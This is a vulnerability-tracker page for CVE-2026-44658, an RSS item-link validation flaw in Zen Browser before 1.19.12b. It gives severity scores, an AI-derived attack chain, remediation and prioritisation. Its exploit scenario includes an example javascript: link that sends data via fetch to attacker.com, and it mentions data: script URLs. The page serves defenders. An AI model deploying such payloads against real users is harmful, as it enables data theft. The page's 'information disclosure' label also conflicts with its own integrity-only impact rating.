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Zen Browser EUVDEUVD-2026-29132

| CVE-2026-44658 LOW
Improper Input Validation (CWE-20)
2026-05-11 GitHub_M
2.4
CVSS 3.1 · Vendor: GitHub_M
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Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Compromise or create RSS feed source
  2. Delivery
    Inject non-HTTP(S) link in item field
  3. Exploit
    User subscribes to feed in Zen Browser
  4. Execution
    Live-folder manager auto-creates pinned tab
  5. Persist
    Unvalidated URL reaches gBrowser.addTrustedTab()
  6. Impact
    Malicious script/protocol executes in trusted context

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V2 - Validation and Business Logic Input validation, allowlisting
Exploitation Conditions

Exploitation requires the following specific, concrete prerequisites: (1) An attacker with high privileges capable of creating or modifying RSS/Atom feed content (e.g., feed publisher account, compromised feed server, or man-in-the-middle position on the feed distribution channel); (2) A victim user subscribed to the attacker-controlled feed using Zen Browser's RSS subscription feature; (3) The attacker injects a non-HTTP(S) URL into an RSS/Atom item link field (the 'item link' element, not the feed URL itself); (4) The victim's browser must have the live-folder manager feature active (the automatic tab creation from feed items). The vulnerability is limited to Zen Browser prior to 1.19.12b and does NOT require the victim to actively click the malicious feed item - tabs are created automatically by the live-folder manager. Authentication is bypassed once the feed is subscribed. The attack does not work against feed URL entry itself, which already validates scheme, only against item links within valid feeds.

Impact

Despite the low CVSS score (2.4), the risk assessment reveals a nuanced real-world priority. The CVSS vector (AV:N/AC:L/PR:H/UI:R/S:U/C:N/I:L/A:N) indicates network-accessible remote attack requiring high privileges and user interaction, with integrity impact only. The high-privilege requirement (PR:H) significantly constrains exploitability - only administrative or very high-privileged users can author feeds that trigger this path. However, the 'UI:R' (user interaction required) is partially misleading: while the user must subscribe to or view a feed, they do not need to actively click the malicious item; the live-folder manager automatically creates pinned tabs from feed items. The attack requires social engineering (feed creation by trusted source or account compromise of a feed publisher). The integrity impact is limited to tab open behavior and potential script context confusion rather than direct code execution or data exfiltration. No EPSS score or KEV status provided; the absence of active exploitation reports combined with the privilege barrier suggests this is low-priority for most deployments unless users actively subscribe to feeds from untrusted or compromised sources. The fix is available and straightforward, making this a 'patch on schedule' rather than 'emergency' issue.

Exploit ScenarioDerived

A high-privileged user (system administrator or account with RSS feed creation rights) authors or compromises a shared RSS feed and injects an item with a non-HTTP(S) URL (e.g., 'javascript:void(fetch(attacker.com/steal?data=...))' or 'data:text/html,<script>...') in the item link field. When a regular user subscribes to this feed, Zen Browser's live-folder manager automatically creates pinned tabs from feed items without URL validation. The malicious link is opened as a trusted tab, potentially executing embedded JavaScript or accessing sensitive browser APIs depending on the protocol handler behavior.

Monitor Track and reassess. Why: LOW severity (CVSS 0.1-3.9).
Patch available 0.0% exploitation probability (EPSS)

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AnalysisAIv1 – May 11, 2026

Zen Browser prior to 1.19.12b fails to validate item links within RSS/Atom feeds, allowing high-privileged users to inject malicious URLs that bypass feed URL restrictions and are opened as trusted tabs. An attacker with administrative or high privileges can craft a malicious RSS feed containing non-HTTP(S) links that are processed without validation and opened with elevated trust, potentially enabling script injection or protocol handler abuse.

RemediationAI

Upgrade Zen Browser to version 1.19.12b or later, which implements URL scheme validation for RSS/Atom item links consistent with feed URL entry validation. Users unable to immediately upgrade should avoid subscribing to RSS feeds from untrusted sources and review subscribed feeds for suspicious content. Administrators can use content policies to restrict RSS feed subscriptions or disable the live-folder feature if RSS functionality is not required. The patch specifically adds validation in the RSS/Atom item processing code path to enforce http: or https: schemes, matching the existing promptForFeedUrl restrictions. See GitHub advisory GHSA-cc9c-mmmf-c5j6 for detailed patch notes.

Affected VersionsENISA

Desktop < 1.19.12b

Affected Packages

euvd desktop fix: 1.19.12b

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

The vulnerability stems from an inconsistent validation pattern in Zen Browser's RSS feed handling. The promptForFeedUrl function correctly restricts user-entered RSS feed URLs to http: or https: protocols via CWE-20 (Improper Input Validation). However, this validation is not applied to individual item links extracted from the feed content. The RSS/Atom provider module maps each feed item's link attribute to item.url and performs only presence and date filtering, bypassing URL scheme validation. These unvalidated URLs are subsequently passed to gBrowser.addTrustedTab(item.url, ...), which creates pinned tabs with browser-level trust privileges. This creates a protocol confusion attack vector where non-HTTP schemes (javascript:, data:, file:, etc.) can reach trusted tab creation without validation, violating the principle of consistent input sanitization across related code paths.

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Severity by source

Vendor (GitHub_M) PRIMARY 2.4 LOW
AV:N/AC:L/PR:H/UI:R/S:U/C:N/I:L/A:N

Primary rating from Vendor (GitHub_M) · only source for this CVE.

CVSS VectorVendor: GitHub_M

Attack Vector
Network
Attack Complexity
Low
Privileges Required
High
User Interaction
Required
Scope
Unchanged
Confidentiality
None
Integrity
Low
Availability
None

Lifecycle Timeline

2
Patch available
May 11, 2026 - 18:17 EUVD
CVE Published
May 11, 2026 - 17:00 nvd
LOW 2.4

DescriptionCVE.org

Zen is a firefox-based browser. Prior to 1.19.12b, RSS feed URLs entered by the user are validated to http: or https: in promptForFeedUrl, but item links inside the feed are not subject to the same restriction. The provider maps each RSS/Atom item link into item.url, filters only for presence and date, and returns the item list. The live-folder manager later creates pinned lazy tabs from these values with gBrowser.addTrustedTab(item.url, ...). This vulnerability is fixed in 1.19.12b.

Threat Intelligence Overview

EPSS Score
0.0%
Top 88% exploitable
Data Quality
6 sources
Confidence: High

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity LOW
CISA KEV No
Public POC No
EPSS 0.0%
Patch available Yes
Active threat No
Deciding rule
LOW severity (CVSS 0.1-3.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Defer
Exploitation
None
System Exposure· derived
Open
Automatable
No
Human Impact· derived
Low
Technical Impact
Partial

Priority Score

12
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +12
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Information disclosure occurs when an application unintentionally exposes sensitive data that aids attackers in reconnaissance or directly compromises security.

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